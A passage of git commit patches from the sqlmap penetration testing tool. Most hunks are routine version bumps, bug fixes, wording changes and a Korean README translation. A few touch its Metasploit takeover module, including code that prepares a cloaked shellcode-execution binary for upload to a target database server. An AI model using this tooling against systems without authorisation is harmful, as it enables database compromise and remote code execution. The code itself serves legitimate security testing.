lib.takeover.metasploit import Metasploit @@ -37,7 +36,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry): """ def __init__(self): - self.cmdTblName = ("%soutput" % TAKEOVER_TABLE_PREFIX) + self.cmdTblName = ("%soutput" % conf.tablePrefix) self.tblField = "data" Abstraction.__init__(self) diff --git a/sqlmap.conf b/sqlmap.conf index 49d3ec72737..7a1516e7ccf 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -776,6 +776,10 @@ scope = # Valid: True or False skipWaf = False +# Prefix used for temporary tables. +# Default: sqlmap +tablePrefix = sqlmap + # Select tests by payloads and/or titles (e.g. ROW) testFilter = From 8584c0b021e850cb1c413a25393683a343b87873 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 16 Aug 2019 09:56:03 +0200 Subject: [PATCH 553/800] Fixes #3880 --- lib/core/settings.py | 4 ++-- lib/takeover/metasploit.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 4f2481bd67d..263a48ac3e3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.12" +VERSION = "1.3.8.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -540,7 +540,7 @@ BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)" # Data inside shellcodeexec to be filled with random string -SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" +SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" # Period after last-update to start nagging about the old revision LAST_UPDATE_NAGGING_DAYS = 60 diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 7c32a7d4899..cd22b160691 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -634,7 +634,7 @@ def uploadShellcodeexec(self, web=False): self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32") content = decloak(self.shellcodeexecLocal) if SHELLCODEEXEC_RANDOM_STRING_MARKER in content: - content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER))) + content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, getBytes(randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER)))) _ = cloak(data=content) handle, self.shellcodeexecLocal = tempfile.mkstemp(suffix="%s.exe_" % "32") os.close(handle) From dadb33bfdb8d036c15c7e40b9d71a3eb262cf31a Mon Sep 17 00:00:00 2001 From: TaeGeun Moon Date: Fri, 16 Aug 2019 17:28:23 +0900 Subject: [PATCH 554/800] Add Korean translation for README (#3881) * Add Korean translation for README * Only on main page * Only on main page --- README.md | 1 + doc/translations/README-ko-KR.md | 50 ++++++++++++++++++++++++++++++++ 2 files changed, 51 insertions(+) create mode 100644 doc/translations/README-ko-KR.md diff --git a/README.md b/README.md index 39cfe33ad8c..ede62b5292b 100644 --- a/README.md +++ b/README.md @@ -63,6 +63,7 @@ Translations * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) +* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md) * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) * [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md) diff --git a/doc/translations/README-ko-KR.md b/doc/translations/README-ko-KR.md new file mode 100644 index 00000000000..7d08900b30a --- /dev/null +++ b/doc/translations/README-ko-KR.md @@ -0,0 +1,50 @@ +# sqlmap + +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) + +sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다. + +스크린샷 +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +또는, wiki에 나와있는 몇몇 기능을 보여주는 [스크린샷 모음](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 을 방문하실 수 있습니다. + +설치 +---- + +[여기](https://github.com/sqlmapproject/sqlmap/tarball/master)를 클릭하여 최신 버전의 tarball 파일, 또는 [여기](https://github.com/sqlmapproject/sqlmap/zipball/master)를 클릭하여 최신 zipball 파일을 다운받으실 수 있습니다. + +가장 선호되는 방법으로, [Git](https://github.com/sqlmapproject/sqlmap) 저장소를 복제하여 sqlmap을 다운로드 할 수 있습니다: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap은 [Python](http://www.python.org/download/) 버전 **2.6**, **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다. + +사용법 +---- + +기본 옵션과 스위치 목록을 보려면 다음 명령어를 사용하세요: + + python sqlmap.py -h + +전체 옵션과 스위치 목록을 보려면 다음 명령어를 사용하세요: + + python sqlmap.py -hh + +[여기](https://asciinema.org/a/46601)를 통해 사용 샘플들을 확인할 수 있습니다. +sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록을 예제와 함께 보려면, [사용자 매뉴얼](https://github.com/sqlmapproject/sqlmap/wiki/Usage)을 참고하시길 권장드립니다. + +링크 +---- + +* 홈페이지: http://sqlmap.org +* 다운로드: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS 피드 커밋: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* 사용자 매뉴얼: https://github.com/sqlmapproject/sqlmap/wiki +* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* 트위터: [@sqlmap](https://twitter.com/sqlmap) +* 시연 영상: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots From 5f411f73e7411af9efcf22e09dba40fabb7ab265 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 20 Aug 2019 00:22:24 +0200 Subject: [PATCH 555/800] Fixes #3883 --- lib/core/settings.py | 2 +- lib/utils/crawler.py | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 263a48ac3e3..6830f33ffc1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.13" +VERSION = "1.3.8.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 43f2bd1ed05..624f31dceef 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -92,8 +92,7 @@ def crawlThread(): soup = BeautifulSoup(content) tags = soup('a') - if not tags: - tags = re.finditer(r'(?i)]+href=["\'](?P[^>"\']+)', content) + tags += re.finditer(r'(?i)]+href=["\'](?P[^>"\']+)', content) for tag in tags: href = tag.get("href") if hasattr(tag, "get") else tag.group("href") From 65b0dbd4c451063dae6eba9976119455f412cff6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 20 Aug 2019 00:35:13 +0200 Subject: [PATCH 556/800] Patches #3884 --- lib/core/settings.py | 2 +- thirdparty/colorama/ansitowin32.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6830f33ffc1..24c489cfb65 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.14" +VERSION = "1.3.8.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/colorama/ansitowin32.py b/thirdparty/colorama/ansitowin32.py index c8c721a138d..eae181017f5 100644 --- a/thirdparty/colorama/ansitowin32.py +++ b/thirdparty/colorama/ansitowin32.py @@ -184,6 +184,8 @@ def _write(self, text, retry=5): if not (err.errno == 0 and retry > 0): raise self._write(text, retry-1) + except UnicodeError: + self.wrapped.write('?') def convert_ansi(self, paramstring, command): if self.convert: From 009a3c839177f12a92d942fcd84075419e3287fc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 21 Aug 2019 14:08:13 +0200 Subject: [PATCH 557/800] Minor wording update --- lib/core/settings.py | 2 +- lib/core/target.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 24c489cfb65..4233419d675 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.15" +VERSION = "1.3.8.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 77b780a8a04..308df641f4a 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -125,8 +125,8 @@ def process(match, repl): return retVal if kb.processUserMarks is None and kb.customInjectionMark in conf.data: - message = "custom injection marker ('%s') found in option " % kb.customInjectionMark - message += "'--data'. Do you want to process it? [Y/n/q] " + message = "custom injection marker ('%s') found in POST " % kb.customInjectionMark + message += "body. Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': From 576d81aa4955203d82ce30b40d3c61592ad28baf Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 21 Aug 2019 15:19:42 +0200 Subject: [PATCH 558/800] Minor log message update --- lib/core/settings.py | 2 +- lib/request/connect.py | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 4233419d675..912286bd494 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.16" +VERSION = "1.3.8.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 25990a18df9..ff0bb17c764 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -759,8 +759,7 @@ class _(dict): if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.connErrorChoice is None: message = "there seems to be a continuous problem with connection to the target. " - message += "Are you sure that you want to continue " - message += "with further target testing? [y/N] " + message += "Are you sure that you want to continue? [y/N] " kb.connErrorChoice = readInput(message, default='N', boolean=True) From 81289fa7cda71197bd1510c70a66c5110bb4796b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 21 Aug 2019 15:29:51 +0200 Subject: [PATCH 559/800] Fixes #3886 --- lib/core/settings.py | 2 +- lib/request/connect.py | 9 +++------ 2 files changed, 4 insertions(+), 7 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 912286bd494..8de238665c2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.17" +VERSION = "1.3.8.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index ff0bb17c764..61f47ab7991 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -763,16 +763,13 @@ class _(dict): kb.connErrorChoice = readInput(message, default='N', boolean=True) - if kb.connErrorChoice is not None: - if kb.connErrorChoice: - raise SqlmapConnectionException(warnMsg) - else: - raise SqlmapUserQuitException + if kb.connErrorChoice is False: + raise SqlmapUserQuitException if "forcibly closed" in tbMsg: logger.critical(warnMsg) return None, None, None - elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead")): + elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead", "Interrupted system call")): return None if not conf.ignoreTimeouts else "", None, None elif threadData.retriesCount < conf.retries and not kb.threadException: warnMsg += ". sqlmap is going to retry the request" From 50b8de00bb63e2ce5c5a30d7f20c04711cdc2644 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 22 Aug 2019 10:43:38 +0200 Subject: [PATCH 560/800] Patches #3887 --- lib/core/agent.py | 3 ++- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 488ba7a8c79..46a332da499 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -51,6 +51,7 @@ from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.settings import SLEEP_TIME_MARKER from lib.core.unescaper import unescaper +from thirdparty import six class Agent(object): """ @@ -308,7 +309,7 @@ def suffixQuery(self, expression, comment=None, suffix=None, where=None, trimEmp return re.sub(r";\W*;", ";", expression) if trimEmpty else expression def cleanupPayload(self, payload, origValue=None): - if payload is None: + if not isinstance(payload, six.string_types): return replacements = { diff --git a/lib/core/settings.py b/lib/core/settings.py index 8de238665c2..95a4bc05080 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.18" +VERSION = "1.3.8.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 95e6b6c0af764a9143199709fe39db9cf0685385 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 22 Aug 2019 11:41:06 +0200 Subject: [PATCH 561/800] Implements #3835 --- lib/controller/controller.py | 9 +++++++++ lib/core/settings.py | 2 +- 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index cabe5f76c1d..9bd97ad163e 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -422,6 +422,15 @@ def start(): if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp(): continue + if conf.rParam and kb.originalPage: + kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)]) + + for match in re.finditer(r"(?si)]+\bname\s*=\s*[\"']([^\"']+)(.+?)", kb.originalPage): + name, _ = match.groups() + options = tuple(re.findall(r"]+\bvalue\s*=\s*[\"']([^\"']+)", _)) + if options: + kb.randomPool[name] = options + checkWaf() if conf.nullConnection: diff --git a/lib/core/settings.py b/lib/core/settings.py index 95a4bc05080..2106878b497 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.19" +VERSION = "1.3.8.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1979e7d75b00710dcc58dc82027845bc8795251c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 23 Aug 2019 09:40:49 +0200 Subject: [PATCH 562/800] Fixes #3888 --- lib/core/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 2106878b497..b870096bcdf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.20" +VERSION = "1.3.8.21" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -240,7 +240,7 @@ IS_TTY = os.isatty(sys.stdout.fileno()) # DBMS system databases -MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb") +MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "ReportServer", "ReportServerTempDB") MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys") PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent") ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL') From 9a47b4025be5f651a38d06d820ca6446ddb3f77c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 23 Aug 2019 09:49:16 +0200 Subject: [PATCH 563/800] Trivial update/patch --- lib/core/settings.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b870096bcdf..0cad2432fc0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.21" +VERSION = "1.3.8.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -240,7 +240,7 @@ IS_TTY = os.isatty(sys.stdout.fileno()) # DBMS system databases -MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "ReportServer", "ReportServerTempDB") +MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB") MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys") PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent") ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL') @@ -251,7 +251,7 @@ SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs") DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS") HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") -H2_SYSTEM_DBS = ("INFORMATION_SCHEMA") +H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") From 32a4f6c32f19c0abb855d669e72451fc654f54fb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 25 Aug 2019 13:20:06 +0200 Subject: [PATCH 564/800] Initial patch for #3894 (not final) --- lib/core/common.py | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 6ef4b193d13..6f6ffb1bc5a 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -624,7 +624,7 @@ def paramToDict(place, parameters=None): try: oldValue = value value = decodeBase64(value, binary=False) - parameters = re.sub(r"\b%s\b" % re.escape(oldValue), value, parameters) + parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters) except: errMsg = "parameter '%s' does not contain " % parameter errMsg += "valid Base64 encoded value ('%s')" % value @@ -701,7 +701,7 @@ def walk(head, current=None): message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % getUnicode(_) if readInput(message, default='N', boolean=True): - testableParameters[parameter] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), (r"\g<1>%s" % re.sub(regex, r"\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter])).replace("\\", r"\\"), parameters) + testableParameters[parameter] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), (r"\g<1>%s" % re.sub(regex, r"\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter].replace("\\", r"\\"))), parameters) break if conf.testParameter: diff --git a/lib/core/settings.py b/lib/core/settings.py index 0cad2432fc0..6175a432d8f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.22" +VERSION = "1.3.8.23" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From fecd83062257e37645454b234113a07c9c43971b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 26 Aug 2019 16:46:21 +0200 Subject: [PATCH 565/800] Minor update --- lib/core/common.py | 35 +++++++++++++++++++++-------------- lib/core/settings.py | 2 +- 2 files changed, 22 insertions(+), 15 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 6f6ffb1bc5a..dd680189e99 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1285,36 +1285,43 @@ def banner(): """ if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"): - _ = BANNER + result = BANNER if not IS_TTY or "--disable-coloring" in sys.argv: - _ = clearColors(_) + result = clearColors(result) elif IS_WIN: coloramainit() - dataToStdout(_, forceOutput=True) + dataToStdout(result, forceOutput=True) def parsePasswordHash(password): """ In case of Microsoft SQL Server password hash value is expanded to its components + + >>> pushValue(kb.forcedDbms) + >>> kb.forcedDbms = DBMS.MSSQL + >>> "salt: 4086ceb6" in parsePasswordHash("0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a") + True + >>> kb.forcedDbms = popValue() """ blank = " " * 8 - if not password or password == " ": - password = NULL + if isNoneValue(password) or password == " ": + retVal = NULL + else: + retVal = password - if Backend.isDbms(DBMS.MSSQL) and password != NULL and isHexEncodedString(password): - hexPassword = password - password = "%s\n" % hexPassword - password += "%sheader: %s\n" % (blank, hexPassword[:6]) - password += "%ssalt: %s\n" % (blank, hexPassword[6:14]) - password += "%smixedcase: %s\n" % (blank, hexPassword[14:54]) + if Backend.isDbms(DBMS.MSSQL) and retVal != NULL and isHexEncodedString(password): + retVal = "%s\n" % password + retVal += "%sheader: %s\n" % (blank, password[:6]) + retVal += "%ssalt: %s\n" % (blank, password[6:14]) + retVal += "%smixedcase: %s\n" % (blank, password[14:54]) - if not Backend.isVersionWithin(("2005", "2008")): - password += "%suppercase: %s" % (blank, hexPassword[54:]) + if password[54:]: + retVal += "%suppercase: %s" % (blank, password[54:]) - return password + return retVal def cleanQuery(query): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 6175a432d8f..1e02688f921 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.23" +VERSION = "1.3.8.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 0aa15a72b0ce17dfd0406cc6e76a1fbc93d8dc0c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 26 Aug 2019 16:51:17 +0200 Subject: [PATCH 566/800] Minor refactoring --- lib/core/settings.py | 2 +- lib/utils/hash.py | 33 +++++++++++++++++---------------- 2 files changed, 18 insertions(+), 17 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1e02688f921..e711cd1958f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.8.24" +VERSION = "1.3.8.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index d392e919f12..52bdec6040b 100644 --- a/lib/utils/hash.py +++ 